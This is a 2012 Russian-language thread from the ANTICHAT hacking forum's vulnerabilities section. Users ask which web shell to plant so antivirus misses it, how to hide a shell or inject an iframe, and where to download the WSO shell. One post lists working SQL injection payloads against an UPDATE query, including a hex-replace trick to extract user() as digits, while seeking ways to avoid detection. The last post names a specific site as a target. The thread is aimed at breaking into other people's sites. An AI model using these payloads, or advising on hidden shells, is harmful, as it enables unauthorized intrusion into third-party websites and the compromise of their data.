HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.11.2012, 21:44
Prosta4ok
Guest
Сообщений: n/a
Провел на форуме:
19438

Репутация: 0
По умолчанию

Цитата:
Сообщение от Sat-hacker  
Sat-hacker said:
Подскажите какой shell лучше заливать,чтоб его не палил антивирус и разные скрипты?
самописный
 
Ответить с цитированием

  #2  
Старый 11.11.2012, 23:04
Sat-hacker
Guest
Сообщений: n/a
Провел на форуме:
34457

Репутация: -10
По умолчанию

Цитата:
Сообщение от Prosta4ok  
Prosta4ok said:
самописный
А из таких что есть в паблике?Потому что писать только по русски могу.
 
Ответить с цитированием

  #3  
Старый 11.11.2012, 23:10
qaz
Guest
Сообщений: n/a
Провел на форуме:
344922

Репутация: 75
По умолчанию

Цитата:
Сообщение от Seo_pharmacy  
Seo_pharmacy said:
/thread104591.html в самом низу смотри...
Мне кто то может помочь ? Есть ли возможность , с помощью активки , внедрить ифрейм ?
а в чём проблема? вставляещь код фрейма и всё

Цитата:
Сообщение от seozone  
seozone said:
может кто подробнее разложить, как спрятать шелл с помощью .htaccess ?
никак

Цитата:
Сообщение от Sat-hacker  
Sat-hacker said:
А из таких что есть в паблике?Потому что писать только по русски могу.
юзай всо и не парся поетому вопросу вобще
 
Ответить с цитированием

  #4  
Старый 12.11.2012, 00:07
Sat-hacker
Guest
Сообщений: n/a
Провел на форуме:
34457

Репутация: -10
По умолчанию

qaz ним и пользуюсь но где то читал что он много следов в логах оставляет,и антивирусами палиться.
 
Ответить с цитированием

  #5  
Старый 12.11.2012, 12:55
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Логи сильно нагружают шеллы, передающие команды посредством Get-запросов, последняя версия WSO таковой не является.
 
Ответить с цитированием

  #6  
Старый 12.11.2012, 21:21
IMMORTAL_S
Новичок
Регистрация: 29.04.2010
Сообщений: 19
Провел на форуме:
58603

Репутация: 3
По умолчанию

Всем привет!

В UPDATE(MySQL) есть sqlinj. Как наиболее эффективно ей воспользоваться.

Есть кое какие ограничения:

-вывода ошибки нет, только алерт, что ошипке

-в поле зависать можно только число(если сделать подстановку)

Что пробовал:

Код:
Code:
'+(select(user()))+'
результат - пусто

Код:
Code:
a'+(select(user()))+'b
результат - пусто

Код:
Code:
1'+(select(3))+'2
результат 6

Код:
Code:
1'+(select('c'))+'2
результат 3

Код:
Code:
a'+(select('3'))+'b
результат 3

Код:
Code:
1'+(select(version()))+'2
результат - 8.1


Конечно можно blind'ануть, но придумал такой вариант:

Код:
Code:
'+(select(Replace(Replace(Replace(Replace(Replace(Replace(hex(user()),'F','006'),'E','005'),'D','004'),'C','003'),'B','002'),'A','001')))+'
Если текст небольшой,

результат - 00419100400021004182

иначе - 4.19100400021004e+17

По сравнению с blind'ом, вариант лучше, но и здесь есть минусы, т.к. при обратной конвертации 4.19100400021004e+17 дает 00419100400021004000

Еще была мысль закомментить оставшуюся часть запроса и update'нуть другое поле, но опасаюсь засветиться, т.к. хз что в where. Хотя по косвенным признакам можно id вытянуть, но боюсь он не цифровой.

Есть еще предложения, что можно сделать?
 
Ответить с цитированием

  #7  
Старый 12.11.2012, 21:33
Sat-hacker
Guest
Сообщений: n/a
Провел на форуме:
34457

Репутация: -10
По умолчанию

Цитата:
Сообщение от BigBear  
BigBear said:
Логи сильно нагружают шеллы, передающие команды посредством Get-запросов, последняя версия WSO таковой не является.
Подскажи пожалуйста где скачать последнюю версию?Не могу найти.
 
Ответить с цитированием

  #8  
Старый 12.11.2012, 21:46
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от Sat-hacker  
Sat-hacker said:
Подскажи пожалуйста где скачать последнюю версию?Не могу найти.
пожалуйста, сир. долго искали что не нашли? гугл сдох?

запрос "site:forum.antichat.ru wso" больше не работает?

/thread103155.html
 
Ответить с цитированием

  #9  
Старый 13.11.2012, 00:02
Sat-hacker
Guest
Сообщений: n/a
Провел на форуме:
34457

Репутация: -10
По умолчанию

Konqi да видел я эту версию но незнал что она последяя.
 
Ответить с цитированием

  #10  
Старый 13.11.2012, 02:20
cipa21
Новичок
Регистрация: 09.04.2009
Сообщений: 8
Провел на форуме:
71852

Репутация: 0
По умолчанию

Товарищи, есть идеи по поводу http://ironage-radio.com/' , можно как-то это использовать?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ